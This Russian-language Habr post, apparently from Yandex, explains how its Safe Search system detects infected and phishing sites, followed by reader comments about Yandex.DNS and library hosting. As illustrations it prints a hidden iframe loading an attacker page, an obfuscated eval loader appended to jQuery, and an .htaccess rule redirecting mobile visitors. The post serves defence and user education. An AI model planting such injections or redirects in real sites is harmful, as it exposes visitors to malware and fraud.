Компания
299,02
рейтинг
26 сентября 2013 в 20:19

Разработка → Устройство системы Безопасного Поиска Яндекса

В 2007 году Яндекс столкнулся с вирусом, массово подменявшим на компьютерах пользователей поисковую выдачу Яндекса. Вместо релевантных результатов подставлялась реклама, не относящаяся к запросу. Нужно было срочно искать решение проблемы. Изучая ее, мы выяснили, что вирус попадает на пользовательские компьютеры при помощи атак типа drive-by-download. Зараженные страницы инициируют скрытые загрузки вредоносных файлов. Затем, эксплуатируя уязвимости пользовательской системы, вредоносное ПО устанавливается на компьютер.

Антивирусные программы не всегда хорошо защищают пользователей от этого типа атак и нового, только что перепакованного, вредоносного ПО, поэтому пользователям требуется дополнительная защита. Мы осознали, что чтобы побороть данное явление, нужно детектировать заражение сайтов, помогать вебмастерам удалять вредоносный код, а также мотивировать их не участвовать в партнерских сетях, через которые распространяются блоки drive-by-download-атак.

image


В определенный момент стало ясно, что проблема носит экосистемный характер, и что если не бороться с вирусной и мошеннической монетизацией сайтов, ее масштабы будут быстро расти. В конечном итоге это подорвет доверие пользователей к интернету, будет мешать его росту и даже поставит под угрозу его существование в привычном для нас виде. Поэтому шесть лет назад мы начали проектировать и разрабатывать систему детектирования опасных сайтов, а четыре года назад состоялся ее запуск. Сейчас мы продолжаем активно развивать нашу систему, адаптировать ее под новые угрозы, применять методы, которые позволяют обнаруживать вредоносный код, еще не попавший в сигнатурные базы антивирусов.

Как устроена антивирусная проверка Яндекса



Начинается все с того, что наш антивирусный робот заходит на проверяемую страницу и загружает все данные, которые при её просмотре попадают в браузеры обычных пользователей. Затем загруженные данные анализируются.

Поведенческий анализатор отслеживает всё, что происходит при просмотре страницы, в том числе работу браузера, плагинов (в частности, предназначенных для исполнения Java-кода и просмотра PDF-файлов) и операционной системы в целом. Результаты наблюдения сравниваются с паттернами вредоносного поведения. Основное преимущество поведенческого подхода — способность выявлять вредоносный код, сигнатуры которого еще не успели попасть в антивирусные базы. Именно такой код зачастую используется злоумышленниками при заражении крупных сайтов.

Кроме того, мы наблюдаем, не происходит ли в процессе загрузки страницы обращение к серверам, которые известны как распространители вредоносного кода. Так работает наш чёрный список.

В качестве дополнительного средства защиты мы проводим сигнатурный анализ поисковой базы при помощи антивирусного сканера Sophos. С этой компанией у нас сложилось взаимовыгодное сотрудничество: они понимают важность предоставляемых нами данных, быстро реагируют на наши обращения и производят обучение своей системы.

Определением паттернов поведения вредоносного ПО занимаются наши биологические анализаторы — вирусные аналитики. Они проводят исследования современных образцов вредоносного кода, выявляют общие признаки и закономерности в их работе. Результаты исследований используются для улучшения поведенческих детекторов, и расширения чёрного списка, а также отправляются в качестве примеров вредоносного кода в Sophos.

В общей сложности, система выполняет более 20 млн. проверок в сутки, в результате которых обнаруживается около 5000 новых заражений и подтверждается заражение ещё более 80 тысяч сайтов. Чем популярнее сайт и чем больше риск его заражения – тем чаще он проверяется нашей системой.

От чего мы защищаем?


Пальму первенства по количеству атак на пользователей интернета по-прежнему удерживают атаки типа drive-by-download. В ходе их реализации злоумышленники встраивают в легитимные веб-приложения вредоносный код, загружающий дополнительно к содержимому сайта специально сформированные веб-страницы, которые, используя уязвимости в браузерах и другом ПО, скрыто устанавливают пользователям вредоносные программы.

Такой код может выглядеть, например, следующим образом:

 <iframe src="http://evilsite.ws/wp-content/plugins/wordpress-importer/cash.php" width="13" height="14" frameborder="0" style="visibility: hidden; display: none"></iframe>


Обычно по ссылке в iframe располагается обфусцированный код. Таким образом, злоумышленники стараются предотвратить сигнатурное обнаружение.

Обфускация применяется и при добавлении вредоносного кода в конец легальной библиотеки, например, jQuery. Чтобы обезопасить себя от атак такого рода, можно не хранить JS-библиотеки у себя на сервере, а брать их из надежных источников. У Яндекса есть свой хостинг популярных JavaScript-библиотек, которым может воспользоваться каждый.

 /*! jQuery v1.8.2 jquery.com | jquery.org/licence */
(function(a,b){function G(a){var b=F[a]={};return p.each(a.split(s),function(a,c){b{c}=!0}),b}
/* jQuery code cutted */
&&define("jquery",[],function(){return})})(window); //end of jquery code
var domain = 'http://somedomain.ru';
v = "v" + "al";
if (020 === 0x10 && window.document) {
try {
document.body++
} catch(gdsgsdg) {
asd = 0;
try {
d = document.createElement("div");
d.innerHTML.a = "asd";
}catch (agdsg) {
asd = 1;
}
if (!asd) {
w = {a:window},a;
v = "e".contact(v);
}
}
}
e = w["" + v];


С распространением мобильных устройств, все большую популярность приобретают и атаки на них. Наиболее частый сценарий в данном случае следующий: владелец сайта с целью монетизации мобильного трафика вступает в партнерскую программу, и, зачастую сам того не зная, размещает на своей странице мобильный редирект. При просмотре через обычный браузер сайт ведет себя совершенно обычным образом. Но стоит зайти на него с мобильного устройства, как произойдет перенаправление на другую страницу, где пользователю будет предложено установить какое-либо приложение, например, «обновленную» версию браузера. При этом, в зависимости от User Agent, сайты предлагают загрузить файлы с разными расширениями, соответствующими платформе. Далее пользователю будет предложено отправить платное SMS, либо установленное приложение само будет рассылать такие сообщения без ведома пользователя. Если же приложению удалось получить доступ к списку контактов пользователя, он может быть использован для рассылки спама.

image

Для реализации подобной атаки достаточно модифицировать .htaccess файл веб-сервера, добавив в него условия редиректа:

RewriteCond    %{HTTP_USER_AGENT}  (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|bada|windows\ phone)  [NC]
RewriteRule    (.*)    http://<сайт_куда редиректит> [L,R=302]


Наши средства обнаружения позволяют отслеживать такие сайты. Они не попадают на страницы мобильной выдачи, а в нашем браузере для Android и iOS перед заходом на сайты с редиректами демонстрируются предупреждения.

image

Помимо уже упомянутых атак типа drive-by-download, и редиректов на страницы с загрузкой вредоносного ПО, на сайте может быть размещен редирект на фишинговую страницу, полностью копирующую его интерфейс. Такие сайты обычно требуют ввода личной информации пользователя, которая используется в мошеннических целях, а также для рассылки спама.

К фишинговым атакам можно отнести и те случаи, когда на сайте размещается баннер, предлагающий скачать новую версию браузера. При попытке скачать установочный файл сайт предлагает ввести номер телефона, на который будет отправлен код подтверждения. Якобы этим вы доказываете, что вы не робот. Но на самом деле вы будете подписаны на платную услугу. Часто такие баннеры являются результатом взлома сайта или участия в недобросовестных партнерских программах.

image

Предупреждения об опасностях



image

Информация об обнаруженных нами вредоносных сайтах попадает в базу данных. В настоящее время мы знаем более 200 тысяч заражённых и фишинговых сайтов по всему миру, причём из них около 20% имеют домены в зонах, принадлежащих России и странам СНГ.

При обнаружении заражённого сайта, мы отправляем его вебмастеру письма по стандартным адресам, а также контактам, указанным в регистрационной информации домена. Это снижает среднее время, в течение которого сайт остаётся заражённым, приблизительно в 1,6 раза.

В дальнейшем эти данные используются для предупреждения пользователей на странице поиска, в Яндекс.Почте, Браузере, а также Opera и Mozilla Firefox с установленными Яндекс.Элементами. В среднем мы показываем около 5 млн. предупреждений на странице поисковой выдачи и в сервисах, а также около 3 млн. в браузерах, но в периоды массового заражении сайтов это количество может доходить до 18 млн. предупреждений в сутки.

Пользователи могут обезопасить себя и при помощи сервиса Яндекс.DNS. Наш DNS-сервер, доступный по адресу 77.88.8.88, обеспечивает фильтрацию опасных сайтов и демонстрирует предупреждения при попытке обращения к ним.

Переходы по внешним ссылкам в Яндекс.Почте прогоняются через специальный предупреждающий редиректор. Он сравнивает ссылку с масками URL зараженных сайтов и в случае обнаружения совпадения перенаправляет на специальную страницу с предупреждением. После чего пользователь сам можете решить, стоит ли ему идти дальше.

Хочется особенно отметить, что сами ссылки из писем из Яндекс.Почты никуда не передаются и не проверяются системой Безопасного Поиска, а исключительно сравниваются с масками URL опасных сайтов, уже известными Яндексу. Пользовательские ссылки в Почте остаются конфиденциальными и никогда не используются ни для индексации, ни для показа контекстной рекламы.

Для заражённых сайтов, зарегистрированных в Яндекс.Вебмастере, мы показываем детальную информацию о заражении. Если вебмастер сам не сможет удалить заражение и устранить его причины, он может обратиться за помощью в техническую поддержку.

Для проверки URL на предмет вредоносности можно подключиться к Safe Browsing API Яндекса, или воспользоваться virustotal.com – он применяет Безопасный Поиск Яндекса в качестве одного из сканеров URL.

Образцы вредоносного ПО, работающего на стороне веб-серверов (например, серверные бэкдоры, вредоносные модули Apache, заражённые шаблоны CMS), мы будем рады получить на virus-samples@yandex-team.ru.

По вопросам сотрудничества обращайтесь на safesearch@yandex-team.ru.
На YaC будет расположен стенд Yandex Antivirus Technology & Safe Search, где вы сможете пообщаться с нашими вирусными аналитиками, поучаствовать в конкурсе на обнаружение вредоносного кода, а также узнать подробности о Safe Browsing API.
Автор: @elcoyot
Яндекс
рейтинг 299,02

Комментарии (22)

  • НЛО прилетело и опубликовало эту надпись здесь
    • +2
      Нашему DNS всего полгода, он еще молодой. С развитием сервиса расширится и число серверов, и их географическая близость к регионам соответственно. Спасибо за обратную связь.
    • +1
      Кстати, В Минске у нас есть несколько серверов Яндекс.DNS на площадке BY-IX (Белтелеком).
      Какой у вас провайдер и из какого Вы именно города? (в профиле нет)
      Логика у нас тут простая: запросы пользователя обрабатывает ближайший (в сетевом смысле) сервер. Возможно, какая-то железка между вами и BYIX тупит, и ваши запросы обрабатывает сервер в Питере или даже Москве.
      Выполните, пожалуйста, команду traceroute dns.yandex.ru.
      • НЛО прилетело и опубликовало эту надпись здесь
        • 0
          Спасибо, разбираемся.
  • +1
    Долго пользовался Я.ДНС (просто включил его в своём роутере). А потом начались страшные тормоза, когда при открытии разных сайтов подолгу ничего не загружалось, или не загружалась статика, лежащая на соседнем сервере. Например, на youtube. Открываешь видео и долго плеер не может начать ничего воспроизводить. Но такое встречалось на очень многих сайтах.

    Отключение Я.ДНС с заменой на google dns решило эти проблемы. Периодически снова включаю Я.ДНС, т.к. защита полезная штука. Через какое-то время снова начинаются таки проблемы и приходится отключать.

    Собственно, хотелось бы большей стабильности.
    • 0
      Буквально неделю назад также столкнулся с дикими лагами я.днс. Менял роутер, и в новом была встроенная опция, галочка «включить я.днс», ну я все настроил и ее поставил. И тут такие лаги, я уже на роутер сначала грешил, но отрубив я.днс все стало норм.
      Так что идея классная, а реализация шлак
    • +1
      Спасибо за фидбек. Чтобы разобраться в этой ситуации, мы хотели бы получить ответы на несколько вопросов, а именно: в какой конкретно момент начались тормоза? С какой периодичностью вы сталкиваетесь с проблемами? Воспроизводятся ли проблемы сейчас? До того, как начало тормозить сервис работал быстро?
      Если у вас статический IP-адрес, мы бы хотели попробовать найти вас в логах и понять почему возникла проблема (прислать его можно мне в личку). Если в результате мы найдем у себя какую-то проблему, мы ее обязательно починим.
      Пришлите, пожалуйста результаты комманд ping dns.yandex.ru и traceroute dns.yandex.ru.
      • +1
        Извините, что наговорил на вас. Оказалось, дурит роутер. Он некоторые днс-запросы почему-то перестал нормально проксировать. Типа dig -t A работает номрально, а -t AAAA уже барахлит, причём серьёзно. Дальнейшие рзаборки показали, что это не особо зависит от того, включен Я.ДНС или нет. Сейчас вот заставил роутер по DHCP отдавать не свой ip в качестве DNS, а Я.ДНС, стало нормально. Роутер, кстати Zyxel Keenetic Lite, но эта петрушка началась не очень давно, видимо, после очередного обновления.
        • 0
          Рады, что все нормально :)
          • 0
            Мне кажется, что вам стоит потыкать палочкой Zyxel как партнёра, т.к. эта проблема есть не только у меня, а по моему обращению в техподдержку пока что тишина. Просто у большинства людей складывается именно впечатление, что тормозит Я.DNS, хотя проблема в роутере.
  • +1
    Вы как-то про устройство по сути и не рассказали, 6 лет прошло а воз и ныне там. Один маркетинг да статистика. Гугл, например, через полгода после запуска отрепортился довольно подробным whitepaper-ом.
    Те кто хотели или кому нужно, они уже и так в курсе деталей, а всем остальным людям будет вполне интересно послушать про архитектуру.
    • +1
      +1
      Неспособность и/или нежелание понятно рассказывать об устройстве чего-либо так, чтобы рассказ мог иметь практическую ценность — кажется, болезнь всех маркетинговых потуг крупных [российских] компаний.

      Иногда можно встретить интересные рассказы мелких, но известных компаний, но уровня mail.ru или yandex — не припомню.

      С аналитикой — та же беда.
      • 0
        Они наверное считают, что предоставление дополнительной информации вирусописателям, сподвигнет последних к каким-то активным действиям против них.
        Хотя довольно очевидно, что если тем целых 6 лет(а за этот срок можно отресерчить всё что угодно, look at SEO) было пофигу на safebrowsing, то врятли что-то координально изменится после публикации деталей.

        Ну или банальный страх за то, что кто то осилит повторять их подвиги, и искренняя вера в NDA :)
        • 0
          Я думаю, что реальная причина кроется в том, что маркетингом заняты оторванные от технологий и практической инженерной работы люди.
          И даже в тех случаях, когда они искренне хотят писать интересные материалы, они делают акценты в других местах.
  • +1
    > Мы осознали, что чтобы побороть данное явление, нужно… мотивировать их не участвовать в партнерских сетях, через которые распространяются блоки drive-by-download-атак.

    Честно говоря, глядя на предложение поставить Я-Бар и Я-панель в браузер, которые появляются при попытке запустить многие (очень многие) инсталяторы бесплатного ПО, я подумал бы, что вы боретесь путем выдавливания: «если уж быть дерьму на компе, то почему это дерьмо — чужое?»

    > У Яндекса есть свой хостинг популярных JavaScript-библиотек

    Со своего сайта библиотеки грузятся, почему-то, быстрее. Разве что безопасности ради?

    За anycast-ДНС большое спасибо. Правда, я лично привык отслеживать префикс 77.88… в bgp-фиде как признак живости аплинка, но тут уж…
    • +2
      >Со своего сайта библиотеки грузятся, почему-то, быстрее. Разве что безопасности ради?

      Ценность хостинга популярных библиотек в одном месте — не в том, что они быстрее грузятся, а в том, что с большой вероятностью она уже будет закеширована у пользователя, который к вам придёт.

      И, соответственно, загрузится мгновенно. А если вы её со своего сайта будете отдавать, то это будет не мгновенно в любом случае.

      И пользователю придётся загружать одну и ту же библиотеку на каждом сайте отдельно. Плохо и неэффективно.

      PS: И, несмотря на вышесказанное, — приведите, пожалуйста, пример, где у вас недостаточно быстро библиотека из нашего кеша грузится, это очень странно.
      • 0
        Давайте по пунктам. Чтобы ваша идея (в теории — замечательная, сам так думал некоторое время назад) работала хорошо, нужно:

        «1а. Наличие в кеше именно той версии библиотеки, которая нужна сайту.
        либо
        1б. Быстрота загрузки этой нужной версии в том случае, если ее там нет.»
        и
        «2. Наличие места в кеше юзера, чтобы было куда библиотеку с вашего хостинга положить.»

        По поводу первого есть затруднения. Во-первых, очень много веб-мастеров должны начать указывать ваш хостинг, чтобы смысл в затее вообще был. Даже в случае с Гуглом и его хостингом библиотек я не наблюдаю сумашедшей выгоды от времени загрузки по сравнению с загрузкой с того же сервера, что и сайт: библиотека грузится один раз (если кеш нормально настроен), и даже если она уже была в наличии в кеше, и грузить не пришлось, юзер разницу особо не заметит, т.к. файлик маленький, на фоне остальных файлов того же сайта. Поскольку, надеясь на хорошие каналы, очень многие просто перестали оптимизировать страницы по размеру, и мы имеем 1.5 Мб кода страницы + 3 Мб графики.

        Но, замечу, вероятность наличия библиотеки в кеше браузера связана с
        а) популярностью хостинга (и даже библиотеки с гугла все равно не всегда в кеше есть, о причинах чуть ниже; про яндекс говорить не берусь, но его хостинг менее популярен, особенно если говорить о мировых сайтах)
        б) наличием в нем именно нужно вебмастеру этого конкретного сайта версией библиотеки.

        Во-вторых, кеш не резиновый, и если на сайте включены повсеместно распространенные сегодня рекомендации «ставьте expire на год вперед», то он легко забивается после нескольких часов серфинга (и это если кеш в сотни мегабайт; на мобильниках он до смешного маленький, туда даже данные одного сайта не всегда помещаются). Если за эти часы (читай выше) библиотеки с хостинга Яндекса запрашивались редко, то они и будут «выдавлены».

        В-третьих, даже если нужная библиотека в кеше есть, браузер (часто) все же посылает запрос на сервер на предмет узнать, не поменялся ли файл.

        Для оптимизации загрузки сайта его ресурсы объединяют. Вместо десяти мелких js-файлов грузим один крупнный, на котором еще и gzip получше отработает, вместо полудюжины css — один общий. С таким подходом выгода от использования любого хостинга библиотек совсем падает.

        Вопрос безопасности — это да, это важно. Скорее всего Яндекс отдаст неизмененную версию jquery, это факт. Но посмотрите на любой российский популярный сайт — там столько js грузятся на каждой странице, что авторам малвари можно не особо переживать, им найдется, куда вставить свой код.
  • +1
    предлагающий сказать новую версию браузера

    Говорю — Новая версия браузера =)
    • +1
      Исправили, спасибо.
  • 0
    > RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|bada|windows\ phone) [NC]

    Айфоны в пролёте?
    • –1
      Айфоны далеко не в пролете. Довольно часто встречаются мобильные редиректы, которые предлагают обновить браузер Safari, попутно спрашивая телефонный номер жертвы с целью оформления платной подписки на услуги или формирования мобильной спам-базы.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка